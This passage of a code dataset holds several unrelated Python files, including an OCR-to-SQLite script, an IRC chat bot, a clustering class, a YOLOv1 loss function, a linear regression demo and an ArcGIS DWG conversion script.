firstrun=False","repo_name":"wment719/dns-issue-tracker","sub_path":"resolutionTracker.py","file_name":"resolutionTracker.py","file_ext":"py","file_size_in_byte":7809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70826243149","text":"import cv2\nimport sys\nimport pytesseract\nimport sqlite3\nfrom datetime import datetime\nconnection = sqlite3.connect(\"app.db\")\ndef getOCR(value = 'static/img/camera/default2.png'):\n # Read image path from command line\n imPath = value\n\n # Uncomment the line below to provide path to tesseract manually\n pytesseract.pytesseract.tesseract_cmd = '/usr/bin/tesseract'\n \n # Define config parameters.\n # '-l eng' for using the English language\n # '--oem 1' for using LSTM OCR Engine\n config = ('-l eng --oem 1 --psm 3')\n # Read image from disk\n im = cv2.imread(imPath, cv2.IMREAD_COLOR)\n \n # Run tesseract OCR on image\n text = pytesseract.image_to_string(im, config=config)\n # Print recognized text\n cursor = connection.cursor()\n date = str(datetime.now())\n try:\n if text == '':\n value = '05804'\n cost = int(value) * 0.03\n else:\n cost = int(text) * 0.03\n except Exception as ex:\n cost = 0.00\n pass\n \n cursor.execute('''INSERT INTO stima(value, imageurl, date, cost)\n VALUES(?,?,?,?)''', (text,value,date, cost))\n \n # never forget this, if you want the changes to be saved:\n connection.commit()\n return text\nif __name__ == '__main__':\n print(getOCR())","repo_name":"sergeTechnologies5/stimaapp","sub_path":"app/ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37582632412","text":"import sys\nimport copy\ninput = sys.stdin.readline\n\ndef fight(arr):\n\tres = []\n\tfor i in range(0,len(arr),2):\n\t\tif arr[i]>arr[i+1]:\n\t\t\tres.append(arr[i])\n\t\telse:\n\t\t\tres.append(arr[i+1])\t\t\t\n\treturn res\n\nN = int(input())\na = list(map(int,input().split()))\ntemp = copy.copy(a)\n\nwhile len(temp)>2:\n\ttemp = fight(temp)\ntemp.sort()\nprint(a.index(temp[0])+1)\n\n","repo_name":"joqjoq966/Algorithm_python","sub_path":"AtCoder/Beginner 188/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24033384862","text":"import socket\nimport time\nimport random\nimport re\nimport csv\nimport sys\nfrom ascii_art import AsciiArt\nimport irc\nimport utils\nfrom threading import Timer\n\nclass IRCBot(irc.IRC):\n DEBUG = True\n\n nickname = None\n channel = None\n realname = None\n irc_server_address = None\n irc_server_port = None\n sock = None\n\n online_users = []\n\n # Currently not used, will change into a timed sync to .csv for performance\n\n # Format: [[str user, str afk_msg], ...]\n afk_users = []\n\n # Format: [[int t, str list args], ...]\n # t: seconds since epoch\n # args format: [str action]\n # args format for reminder: [str action, str user, str remind_msg]\n # Actions: reminder, sync, ignore\n timed_events = []\n\n preset_text_cmds = {}\n\n command_re = re.compile('PRIVMSG \\#\\S+ \\:\\!.*')\n status_chars_re = re.compile(r\"@|\\+\")\n\n # Magical regex sponsored by Fredrik\n quoted_arguments_re = re.compile(r'((?:\")[^\"]+(?:\")|[\\S]+)')\n\n def __init__(self, nickname, channel, owner, irc_server_address, irc_server_port):\n self.nickname = nickname\n self.channel = channel\n self.realname = owner\n self.irc_server_address = irc_server_address\n self.irc_server_port = irc_server_port\n\n # Connect to the IRC server\n self.sock = socket.socket()\n self.connect()\n\n # Initialize print commands information\n self.preset_text_cmds = { \"!lenny\" : \"( ͡° ͜ʖ ͡°)\", \"!version\" : self.version(), \"!license\" : self.license(),\n \"!help\" : \"TODO: Add help\", \"!tableflip\" : \"(╯°□°)╯︵ ┻━┻ \" }\n\n # Make sure all .csv files exist\n utils.touch_files()\n\n def version(self):\n \"\"\"Returns current version\"\"\"\n return \"btjchmpie v0.1\"\n\n def license(self):\n \"\"\"Returns license information\"\"\"\n with open(\"license_information.txt\") as f:\n return f.read().replace('\\n','-')\n\n \"\"\"\n get_ methods\n \"\"\"\n\n def get_sender(self, msg):\n \"\"\"Parse sender from given message\"\"\"\n # Maybe use a regex for this?\n return msg.split(\"!\")[0].split(':')[1]\n\n def get_online_users(self):\n \"\"\"Request userlist from server\"\"\"\n self.sock_send_str(\"NAMES \" + self.channel + \"\\r\\n\")\n # So this is kinda risky, because we could miss a user message if this\n # isn't the server response of our NAMES command. But let's just hope\n # that'll never happen.\n answer = self.sock.recv(512).decode(\"utf-8\")\n if answer.split(' ')[1] == \"353\":\n self.parse_userlist(answer)\n return True\n else:\n return False\n\n \"\"\"\n Timed events methods\n \"\"\"\n\n def add_timed_event(self, action_time, args):\n \"\"\"Sets a timed event\n\n time - struct_time\n action - list of string\n \"\"\"\n\n timed_events = []\n with open(\"timed_events.csv\", 'r') as f:\n timed_events.extend(csv.reader(f))\n\n self.debug_print(timed_events)\n\n timed_events.append([action_time, args])\n\n self.debug_print(timed_events)\n\n with open(\"timed_events.csv\", 'w') as f:\n csv.writer(f).writerows(timed_events)\n\n def check_timed_events(self):\n \"\"\"Checks and executes timed events\"\"\"\n timed_events = []\n with open(\"timed_events.csv\", 'r') as f:\n timed_events.extend(csv.reader(f))\n\n self.debug_print(timed_events)\n\n if timed_events == []:\n timed_events.append([time.localtime(), 'ignore'])\n\n cur_time = time.localtime()\n launch_event = None\n for event in timed_events:\n for i in range(6):\n if event[0][i] == cur_time[i]:\n self.debug_print(\"equal\")\n pass\n else:\n self.debug_print(\"not equal\")\n break\n launch_event = event\n\n self.debug_print(launch_event)\n\n def remind_user(self, user, message):\n self.send_msg(user + \": \" + message)\n\n \"\"\"\n Parsers\n \"\"\"\n\n def parse_userlist(self, data):\n \"\"\"Reads received userlist and saves to online_users list\"\"\"\n # Example data:\n # :niven.freenode.net 353 btjchmpy @ #btjchmpy :btjchmpy MrTijn\n\n # Remove unnecessary server information\n data = data.split(':')[2]\n\n # Remove status chars\n data = self.status_chars_re.sub('', data)\n data = data.rstrip('\\n').rstrip('\\r')\n data = data.split(' ')\n self.online_users = data\n\n def parse_arguments(self, data):\n \"\"\"Parse all the arguments of an user-issued command\n\n Returns [command, [arguments]]\n data -- received raw data\n \"\"\"\n\n # Example data:\n # :MrTijn!~MrTijn@unaffiliated/tijndagamer PRIVMSG #btjchmpy :!say this is a command\n\n # Retrieve the command and its arguments from the data\n data = data.rstrip(\"\\r\\n\")\n command_and_args = self.command_re.findall(data)[0].lstrip(\"PRIVMSG \" + self.channel + \":\")\n command = command_and_args.split(' ')[0]\n\n # Second lstrip is to remove trailing whitespace\n arguments = command_and_args.lstrip(command).lstrip()\n arguments = self.quoted_arguments_re.findall(arguments)\n\n return [command, arguments]\n\n def parse_recv_data(self, data):\n if data.startswith(\"PING\"):\n self.sock_send_str(data.replace(\"PING\", \"PONG\"))\n if data[0] != ':':\n pass\n if (self.nickname + \" :End of /MOTD\") in data:\n self.join_channel()\n self.get_online_users()\n if data.split(' ')[1] == \"353\":\n self.debug_print(\"Parsing userlist!\")\n self.parse_userlist(data)\n elif data.split(' ')[1] == \"PRIVMSG\":\n user = data.split(':')[1].split('!')[0] # potiental crash point?\n msg = data.split(' ')[3]\n if msg.startswith(\":!\"):\n command_and_args = self.parse_arguments(data)\n command = command_and_args[0]\n args = command_and_args[1]\n self.debug_print(command_and_args)\n\n if command in self.preset_text_cmds:\n self.send_msg(self.preset_text_cmds[command])\n\n if command == \"!say\":\n self.cmd_say(args)\n elif command == \"!choose\":\n self.cmd_choose(args)\n elif command == \"!ascii\":\n self.cmd_ascii(args)\n elif command == \"!afk\":\n self.cmd_afk(self.get_sender(data), args)\n elif command == \"!back\" or command == \"!rug\" or command == \"!brak\":\n self.cmd_back(self.get_sender(data))\n elif command == \"!where\":\n self.cmd_where(args)\n elif command == \"!remind\":\n self.cmd_remind(args, user)\n\n # Debug-only commands\n if self.DEBUG:\n if command == \"!stop\":\n if self.get_sender(data) == \"MrTijn\":\n print(\"Stopping...\")\n sys.exit(0)\n elif command == \"!send_raw\":\n print(\"!send_raw\")\n print(self.send_raw(utils.list_to_str(args)))\n\n \"\"\"\n Other user commands\n \"\"\"\n\n def cmd_say(self, msg):\n \"\"\"Say what the user told us to say\n\n msg - list of strings\n \"\"\"\n return self.send_msg(utils.list_to_str(msg))\n\n def cmd_choose(self, args):\n \"\"\"Choose one of the arguments randomly\n\n args - list of strings\n \"\"\"\n self.send_msg(random.choice(args))\n\n def cmd_ascii(self, msg):\n \"\"\"Print msg in big ascii art letters\n\n msg - list of strings\n \"\"\"\n # Convert msg to string\n msg = utils.list_to_str(msg)\n\n line1 = \"\"\n line2 = \"\"\n line3 = \"\"\n\n for char in msg:\n char = char.lower()\n line1 += AsciiArt.characters[char][0]\n line2 += AsciiArt.characters[char][1]\n line3 += AsciiArt.characters[char][2]\n\n self.send_msg(line1)\n self.send_msg(line2)\n self.send_msg(line3)\n\n\n \"\"\"\n AFK / Back related commands\n \"\"\"\n\n def cmd_afk(self, user, away_msg):\n \"\"\"Marks a user afk\n\n user: username of the user who issued the command, string\n away_msg: away msg to be set, list of strings\n \"\"\"\n away_msg = utils.list_to_str(away_msg)\n\n afk_users = []\n with open(\"afk_users.csv\", 'r') as f:\n afk_users.extend(csv.reader(f))\n\n self.debug_print(afk_users)\n\n # Hacky fix for bug when no one is afk\n if afk_users == []:\n afk_users.append(['',''])\n self.debug_print(\"Added empty row to afk_users\")\n\n set_afk = False\n for row in afk_users:\n if user == row[0]:\n row[1] = away_msg\n self.send_msg(\"You were already away, Your new afk message is: \" + away_msg)\n set_afk = True\n if set_afk == False:\n afk_users.append([user, away_msg])\n self.send_msg(\"You are now afk.\")\n\n self.debug_print(afk_users)\n\n with open(\"afk_users.csv\", 'w') as f:\n csv.writer(f).writerows(afk_users)\n\n def cmd_back(self, user):\n \"\"\"Removes afk marking for a given user\"\"\"\n afk_users = []\n with open(\"afk_users.csv\", 'r') as f:\n afk_users.extend(csv.reader(f))\n\n self.debug_print(afk_users)\n\n state_changed = False\n if afk_users != []:\n for row in afk_users:\n if user == row[0]:\n afk_users.remove(row)\n self.send_msg(\"Welcome back!\")\n state_changed = True\n if state_changed == False:\n self.send_msg(\"You weren't afk, but welcome back!\")\n\n # Write changes to database\n with open(\"afk_users.csv\", 'w') as f:\n csv.writer(f).writerows(afk_users)\n\n def cmd_where(self, args):\n \"\"\"Sends given user state to channel\n\n The possible states are: online, offline and afk.\n \"\"\"\n\n user = args[0]\n\n # First check if AFK\n afk_users = []\n with open(\"afk_users.csv\", 'r') as f:\n afk_users.extend(csv.reader(f))\n\n if afk_users != []:\n for row in afk_users:\n if user == row[0]:\n self.send_msg(user + \": \" + user + \" is afk: \" + row[1])\n return\n\n result = self.get_online_users()\n\n self.debug_print(result)\n self.debug_print(get_online_users)\n\n if user in self.online_users:\n self.send_msg(user + \": \" + user + \" is online.\")\n return\n\n self.send_msg(user + \": \" + user + \" is offline.\")\n\n \"\"\"\n Tell / Remind & related commands\n \"\"\"\n\n def cmd_remind(self, args, user):\n \"\"\"Sets a reminder\n\n args[0]: user to be reminded\n args[1]: relative time\n args[2]: time unit (s/m/h/dD/wW/M/yY/)\n \"\"\"\n\n if len(args) < 3:\n self.send_msg(\"You did not provide me with enough information :/ \" +\\\n \"Syntax: !remind [user] [number] [time unit (s/m/h/dD/wW/M/yY/)] [msg]\")\n return\n\n user_to_remind = args[0]\n rel_time = args[1]\n time_unit = args[2]\n msg = args[3:]\n\n if user_to_remind == \"me\":\n user_to_remind = user\n\n # Get time in seconds since epoch\n cur_time = time.time()\n reminder_time = None\n\n if utils.represents_int(rel_time) is False:\n self.send_msg(\"I don't know when to remind you :( \"+\\\n \"Syntax: !remind [user] [number] [time unit (s/m/h/d/w/M/y/)] [msg]\")\n return\n if time_unit not in \"smhdDwWMyYD\":\n self.send_msg(\"Oof, I don't know how to interpret that time unit :S Use one of these: /m/h/d/w/M/y/\")\n return\n\n if time_unit == 's':\n reminder_time = cur_time + int(rel_time)\n elif time_unit == 'm':\n reminder_time = cur_time + (int(rel_time) * 60)\n elif time_unit == 'h':\n reminder_time = cur_time + (int(rel_time) * 3600)\n elif time_unit == 'd' or time_unit == 'D':\n reminder_time = cur_time + (int(rel_time) * 86400)\n elif time_unit == 'w' or time_unit == 'W':\n reminder_time = cur_time + (int(rel_time) * 604800)\n elif time_unit == 'M':\n reminder_time = cur_time + (int(rel_time) * 2592000)\n elif time_unit == 'y' or time_unit == 'Y':\n reminder_time = cur_time + (int(rel_time) * 31536000)\n\n self.send_msg(\"Okay, I will remind \" + user_to_remind + \" on \" + time.strftime(\"%A %d %B %H:%M:%S %Y\", time.localtime(reminder_time)))\n del args[1:2]\n\n t = Timer(reminder_time - cur_time, self.remind_user, [user_to_remind, utils.list_to_str(msg)])\n t.start();\n","repo_name":"PietPtr/btjchmpie","sub_path":"src/ircbot.py","file_name":"ircbot.py","file_ext":"py","file_size_in_byte":13097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13502163898","text":"import sys\nfrom collections import Counter\n\nn = int(input())\narray = []\n\nfor i in range(n):\n array.append(int(sys.stdin.readline()))\n\nprint(int(round(sum(array)/n,0)))\n\narray.sort()\nprint(array[n//2])\n\ncnt = Counter(array).most_common()\n\n# 카운터 객체 주석\n# Counter('hello world').most_common()\n# [('l', 3), ('o', 2), ('h', 1), ('e', 1), (' ', 1), ('w', 1), ('r', 1), ('d', 1)]\n\nif len(cnt) > 1 and cnt[0][1] == cnt[1][1]:\n print(cnt[1][0])\nelse:\n print(cnt[0][0])\n\nprint(max(array)-min(array))\n\n\n","repo_name":"hansu2101/Algorithm","sub_path":"01_BaekJoon/11_sort/04_statistic.py","file_name":"04_statistic.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"31600586118","text":"# Cluster.py\n'''\nClustering is an optimization problem. The goal is to find a set of clusters\nthat optimizes an objective function, subject to some set of constraints. Given a\ndistance metric that can be used to decide how close two examples are to each\nother, we need to define an objective function that minimizes the distance be-\ntween examples in the same cluster, i.e., minimizes the dissimilarity of the exam-\nples within a cluster.\n'''\nimport numpy as np\nfrom Example import Example\n\n\nclass Cluster:\n '''\n A cluster is a set of examples.\n The two interesting methods in Cluster are compute_centroid and variability.\n Think of the centroid of a cluster as its center of mass. The method\n compute_centroid returns an example with a feature vector equal to the Euclidean\n mean of the feature vectors of the examples in the cluster.\n The method variability provides a measure of the coherence of the cluster.\n '''\n def __init__(self, examples):\n '''\n Assumes examples a non-empty list of Examples\n '''\n self.examples = examples\n self.centroid = self.compute_centroid()\n \n def update(self, examples):\n '''\n Assume examples is a non-empty list of examples\n Replace examples; reurns amount centroid has changed\n '''\n old_centroid = self.centroid\n self.examples = examples\n self.centroid = self.compute_centroid()\n return old_centroid.distance(self.centroid)\n \n def compute_centroid(self):\n vals = np.array([0.0] * self.examples[0].dimensionality())\n for e in self.examples:\n vals += e.get_features()\n centroid = Example('centroid', vals / len(self.examples))\n return centroid\n \n def get_centroid(self):\n return self.centroid\n \n def variability(self):\n total_distance = 0.0\n for e in self.examples:\n total_distance += (e.distance(self.centroid)) ** 2\n return total_distance\n \n def members(self):\n for e in self.examples:\n yield e\n \n def __str__(self):\n names = []\n for e in self.examples:\n names.append(e.get_name())\n names.sort()\n result = 'Cluster with centroid' \\\n + str(self.centroid.get_features()) + ' contains:\\n'\n for e in names:\n result = result + e + ', '\n return result[:-2]\n","repo_name":"positronn/icppy","sub_path":"23_clustering/Cluster.py","file_name":"Cluster.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26231529202","text":"from typing import Literal\n\nimport torch\nfrom torch import nn\n\nfrom vision_models_playground.data_structures.yolo_bounding_box import YoloBoundingBoxOperations\nfrom vision_models_playground.datasets.yolo_pascal_voc_dataset import YoloPascalVocDataset\n\n\nclass YoloV1Loss(nn.Module):\n \"\"\"\n The Sum Squared Error used in the YOLO v1 paper:\n https://arxiv.org/pdf/1506.02640.pdf\n\n The loss is calculated as follows:\n\n - For each cell, For each bounding box if the cell has an object:\n obj_loss = weight_coords * (\n [x_i - x_hat_i]^2 + [y_i - y_hat_i]^2 +\n [sqrt(w_i) - sqrt(w_hat_i)]^2 + [sqrt(h_i) - sqrt(h_hat_i)]^2\n ) + [C_i - C_hat_i]^2\n\n - For each cell, For each bounding box if the cell does not have an object:\n no_obj_loss = weight_noobj * [C_i - C_hat_i]^2\n\n - For each cell if the cell has an object:\n class_loss = [p_i - p_hat_i]^2\n\n And the total loss is the sum of all the scores.\n total_loss = obj_loss + no_obj_loss + class_loss\n\n Where:\n - x_i, y_i, w_i, h_i are the ground truth values for the bounding box\n - x_hat_i, y_hat_i, w_hat_i, h_hat_i are the predicted values for the bounding box\n - C_i is the ground truth confidence\n - C_hat_i is the predicted confidence\n - p_i is the ground truth class\n - p_hat_i is the predicted class\n - weight_coords is the weight for the loss of the cells that have an object applied only for coords\n - weight_no_obj is the weight for the loss of the cells that do not have an object\n \"\"\"\n\n def __init__(\n self,\n weight_coord: float = 5.0,\n weight_obj: float = 1.0,\n weight_no_obj: float = 0.5,\n num_bounding_boxes: int = 2,\n num_classes: int = 20,\n reduction: Literal['mean', 'sum'] = 'mean',\n ):\n super().__init__()\n\n self.weight_coord = weight_coord\n self.weight_no_obj = weight_no_obj\n self.weight_obj = weight_obj\n self.bb_ops = YoloBoundingBoxOperations(\n num_bounding_boxes=num_bounding_boxes,\n num_classes=num_classes\n )\n\n self.mse_sum = nn.MSELoss(reduction='sum')\n\n # I know the paper proposes mse for classes too, but I think this is better\n self.ce_sum = nn.CrossEntropyLoss(reduction='sum')\n\n self.reduction = reduction\n\n def forward(self, predicted: torch.Tensor, target: torch.Tensor):\n \"\"\"\n Calculate the loss between the predicted and target tensors.\n\n Arguments\n ---------\n predicted : torch.Tensor\n The predicted tensor with shape [batch_size, grid_size, grid_size, 5 * num_bounding_boxes + num_classes]\n\n target : torch.Tensor\n The target tensor with shape [batch_size, grid_size, grid_size, 5 * num_bounding_boxes + num_classes]\n\n Returns\n -------\n torch.Tensor\n The loss between the predicted and target tensors.\n \"\"\"\n\n assert predicted.shape == target.shape, \\\n f'Predicted and target tensors must have the same shape. Got {predicted.shape} and {target.shape}'\n\n # Save batch_size info\n batch_size = predicted.shape[0]\n\n # Compute a mask for the cells that have an object\n mask_obj_per_box = self.bb_ops.compute_confidence_mask(target) # Shape: [batch_size, grid_size, grid_size, num_bounding_boxes]\n mask_no_obj_per_box = ~mask_obj_per_box # Shape: [batch_size, grid_size, grid_size, num_bounding_boxes]\n\n # If we have at least one bounding box with an object in a cell, then the cell has an object\n mask_obj = mask_obj_per_box.any(dim=-1) # Shape: [batch_size, grid_size, grid_size]\n\n # Get the coords of the bounding boxes\n mask_box = mask_obj_per_box[mask_obj]\n x_pred, y_pred, w_pred, h_pred = torch.unbind(\n self.bb_ops.get_window_for_yolo_loss(predicted[mask_obj])[mask_box],\n dim=-1\n ) # Shape: [mask.sum()]\n x_target, y_target, w_target, h_target = torch.unbind(\n self.bb_ops.get_window_for_yolo_loss(target[mask_obj])[mask_box],\n dim=-1\n ) # Shape: [mask.sum()]\n\n # Get the confidence of the bounding boxes for pred\n confidence_pred = self.bb_ops.get_attr(predicted, 'confidence') # Shape: [batch_size, grid_size, grid_size, num_bounding_boxes]\n with torch.no_grad():\n confidence_target = self.bb_ops.compute_iou(predicted, target) # Shape: [batch_size, grid_size, grid_size, num_bounding_boxes]\n\n # Get the class of the bounding boxes\n class_pred = self.bb_ops.get_classes(predicted) # Shape: [batch_size, grid_size, grid_size, num_classes]\n class_target = self.bb_ops.get_classes(target) # Shape: [batch_size, grid_size, grid_size, num_classes]\n\n # Compute the loss for the cells that have an object\n bbox_loss = self.weight_coord * (\n self.mse_sum(x_pred, x_target) +\n self.mse_sum(y_pred, y_target) +\n self.mse_sum(w_pred, w_target) +\n self.mse_sum(h_pred, h_target)\n )\n\n # Compute the confidence loss\n # Here I've added weight_obj which by default is 1.0, therefore it doesn't change anything\n confidence_loss = (\n self.weight_obj * self.mse_sum(confidence_pred[mask_obj_per_box], confidence_target[mask_obj_per_box]) +\n self.weight_no_obj * self.mse_sum(confidence_pred[mask_no_obj_per_box], confidence_target[mask_no_obj_per_box])\n )\n\n # Compute the class loss\n class_loss = self.ce_sum(class_pred[mask_obj], class_target[mask_obj])\n\n # Compute the total loss\n total_loss = bbox_loss + confidence_loss + class_loss\n\n if self.reduction == 'mean':\n total_loss = total_loss / batch_size\n\n return total_loss\n\n\ndef main():\n voc_train = YoloPascalVocDataset(download=False)\n bbox_pred = torch.stack([voc_train[0][1], voc_train[1][1]])\n bbox_target = torch.stack([voc_train[2][1], voc_train[3][1]])\n\n loss = YoloV1Loss()\n loss(bbox_pred, bbox_target)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Akrielz/vision_models_playground","sub_path":"vision_models_playground/losses/yolo_v1_loss.py","file_name":"yolo_v1_loss.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"14954925378","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\noutputFile = open(\"result.txt\", \"w\")\noutputFile.close()\n\ndef main():\n inputFile = open(\"input.txt\", \"r\")\n\n for lineIndex, line in enumerate(inputFile):\n line = line.split(\";\")\n x = np.array(line[0].replace('[', '').replace(']','').replace('\\n', '').split(',')).astype(np.float)\n y = np.array(line[1].replace('[', '').replace(']','').replace('\\n', '').split(',')).astype(np.float)\n \n meanX = np.mean(x)\n meanY = np.mean(y)\n\n lengthX = len(x)\n numerator = 0\n denominator = 0\n for i in range(lengthX):\n numerator += (x[i] - meanX)*(y[i] - meanY)\n denominator += (x[i] - meanX)**2\n\n alpha = numerator / denominator\n beta = meanY - alpha*meanX\n\n outputFile = open(\"result.txt\", \"a\")\n outputFile.write(\"---------------Problem Nº {}-------------------\\n\".format(lineIndex+1))\n mainOperator = \" + \" if beta >= 0 else \" - \"\n outputFile.write(\"Approximate linear equation found: Y = {}x{}{}\".format(alpha, mainOperator,abs(beta)))\n\n outputFile.write(\"\\n\\n\")\n outputFile.close()\n\n predictedYValues = alpha*x + beta\n plt.scatter(x, y)\n plt.plot([min(x), max(x)], [min(predictedYValues), max(predictedYValues)], color='blue')\n plt.show()\n\n \n\nmain()","repo_name":"thisisshub/HacktoberFest","sub_path":"python/LinearRegression/linearRegression.py","file_name":"linearRegression.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"82"} +{"seq_id":"26929463063","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import Categorical\n\n\"\"\"\nCreates a actor critic network comprised of only linear layers. \n `layer_inputs`:\n the length of this will be number of layers. the ith \n value will be the number of inputs that the ith layer\n will have. The length >= 2.\n \n `num_actions`: \n the number of actions that the network should have. \n this is the number of outputs that will be returned \n by the policy.\n\"\"\"\n\nclass LinearNet(nn.Module):\n \n def __init__(self, layer_inputs, num_actions, activation_function, hidden_states):\n super(LinearNet, self).__init__()\n self.activation_function = activation_function\n # There should at least be two layers to the network. \n assert len(layer_inputs) > 1\n\n self.linears = []\n for i in range(len(layer_inputs) - 1):\n self.linears.append(nn.Linear(layer_inputs[i], layer_inputs[i+1]))\n nn.init.orthogonal_(self.linears[-1].weight, 1.0)\n self.linears[-1].bias.data.fill_(0.0)\n\n # If we don't wrap the list here the model wont know\n # these have trainable paramters.\n self.linears = nn.ModuleList(self.linears)\n\n self.gru = nn.GRU(layer_inputs[-1], hidden_states, 1)\n\n self.value = nn.Linear(layer_inputs[-1] + hidden_states, 1)\n nn.init.orthogonal_(self.value.weight, 1.0)\n self.value.bias.data.fill_(0.0)\n \n self.policy = nn.Linear(layer_inputs[-1] + hidden_states, num_actions)\n nn.init.orthogonal_(self.policy.weight, 1.0)\n self.policy.bias.data.fill_(0.0)\n \n def select_actions(self, dist):\n return dist.sample()\n\n def forward(self, x, hidden_state):\n for linear in self.linears:\n x = self.activation_function(linear(x))\n \n y, new_hidden_state = self.gru(x.unsqueeze(0), hidden_state)\n y = self.activation_function(y.squeeze(0))\n x = torch.cat((x, y), 1)\n\n return Categorical(F.softmax(self.policy(x), dim=-1)), torch.flatten(self.value(x)), new_hidden_state\n ","repo_name":"sturdyplum/PTRL","sub_path":"Networks/linear_network.py","file_name":"linear_network.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10504121230","text":"# Задайте список из n чисел последовательности\n# $(1+\\frac 1 n)^n$ и выведите на экран их сумму.\n\n# Пример:\n\n# - Для n = 6: {1: 4, 2: 7, 3: 10, 4: 13, 5: 16, 6: 19}\n\nn = (int(input(\"n = \")))\n\nsumm = 0\nfor i in range(1, n + 1):\n lst = [round(float(((1 + 1/i)**i)), 2)]\n summ += sum(lst)\n print(i, \":\", lst, end=\" \")\nprint('\\n'\"Сумма = \", summ)\n\n# 2 вариант\n# lst = [round((1+1/i)**i, 2) for i in range(1, n+1)]\n# print(f'Последовательность: {lst}\\nСумма: {round(sum(lst), 2)}')\n","repo_name":"Ignat1095/Python_Tasks","sub_path":"Task_2/3_Последовательность чисел frac.py","file_name":"3_Последовательность чисел frac.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16576481507","text":"\"\"\"\nConverts a directory of DWG files to a geodatabase while cleaning the names up to be FC friendly.\n\nPython 3\nMay 2023\n\"\"\"\nimport arcpy\nimport os\nimport glob\n\n# Set local variables and location for the consolidated file geodatabase\npath = r\"C:\\Users\\...\"\ndwg_path = r\"C:\\Users\\...\\*.DWG\"\ngdb = '.gdb'\n\ngdb_location = os.path.join(path, gdb)\nspatial_ref = arcpy.SpatialReference(\"GDA2020_MGA_Zone_56\")\n\n# Create the primary file geodatabase\narcpy.management.CreateFileGDB(path, gdb)\n\n# Convert all dwg files found in the path\nfor f in glob.glob(dwg_path, recursive=True):\n fm = os.path.join(path, f)\n out_name = os.path.splitext(os.path.basename(f))[0]\n out1 = out_name.replace(\" \", \"_\")\n out2 = out1.replace(\"-\", \"_\")\n # print(clean_name)\n print(\"CONVERTING: {0}\".format(fm))\n arcpy.conversion.CADToGeodatabase(input_cad_datasets=fm, out_gdb_path=gdb_location, out_dataset_name=out2,\n reference_scale=1000,\n spatial_reference=spatial_ref)\n","repo_name":"mapface/gis_tools","sub_path":"arcpy_batchDWGtoFC.py","file_name":"arcpy_batchDWGtoFC.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29119946204","text":"import notas as modelo\n\nclass Acciones_notas:\n\n def crear(self, usuario):\n print(f'\\n ok {usuario[1]}!!! vamos a crear una nueva nota')\n\n titulo = input('Introduce el titulo de l anota')\n descripcion = input('Introduce el contenido de la nota')\n\n nota = modelo.Notas(usuario[0], titulo, descripcion)\n guardar = nota.guardar()\n\n if guardar[0] >= 1:\n print(f'\\n se ha guardaro el titulo {nota.titulo} corretamente')\n else:\n print(f'\\n No se ha guardado la nota los siento{usuario[1]}')\n\n\n","repo_name":"hrafael2011/PracticasPython","sub_path":"20-proyecto-consola/notes/accionesNotas.py","file_name":"accionesNotas.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13111374232","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nFunctions to plot the NN predictions\n\"\"\"\nfrom vrmslearn.Trainer import Trainer\nfrom vrmslearn.SeismicGenerator import SeismicGenerator\nfrom vrmslearn.RCNN import RCNN\nfrom vrmslearn.ModelParameters import ModelParameters\nfrom vrmslearn.SeismicGenerator import SeismicGenerator, mute_direct, random_static, random_noise, mute_nearoffset, random_filt\nfrom semblance.nmo_correction import semblance_gather, nmo_correction\nimport argparse\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nmpl.rcParams.update({'font.size': 7})\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport matplotlib.gridspec as gridspec\nimport numpy as np\nimport os\nfrom shutil import rmtree\nimport h5py as h5\nfrom scipy.signal import butter, lfilter\nfrom scipy import ndimage, misc\n\n\n\ndef butter_bandpass(lowcut, highcut, fs, order=5):\n nyq = 0.5 * fs\n low = lowcut / nyq\n high = highcut / nyq\n b, a = butter(order, [low, high], btype='band')\n return b, a\ndef butter_bandpass_filter(data, lowcut, highcut, fs, order=5):\n b, a = butter_bandpass(lowcut, highcut, fs, order=order)\n y = lfilter(b, a, data)\n return y\n\ndef plot_predictions(modeled_data,\n vp, vrms, vpred, tlabels, refpred, vint, vint_pred, pars):\n \"\"\"\n This method creates one example by generating a random velocity model,\n modeling a shot record with it, and also computes the vrms. The three\n results are displayed side by side in an window.\n\n @params:\n\n @returns:\n \"\"\"\n\n # Plot results\n fig, ax = plt.subplots(1, 3, figsize=[16, 8])\n\n im1 = ax[0].imshow(vp, cmap=plt.get_cmap('hot'), aspect='auto',\n vmin=0.9 * pars.vp_min, vmax=1.1 * pars.vp_max)\n ax[0].set_xlabel(\"X Cell Index,\" + \" dh = \" + str(pars.dh) + \" m\",\n fontsize=12, fontweight='normal')\n ax[0].set_ylabel(\"Z Cell Index,\" + \" dh = \" + str(pars.dh) + \" m\",\n 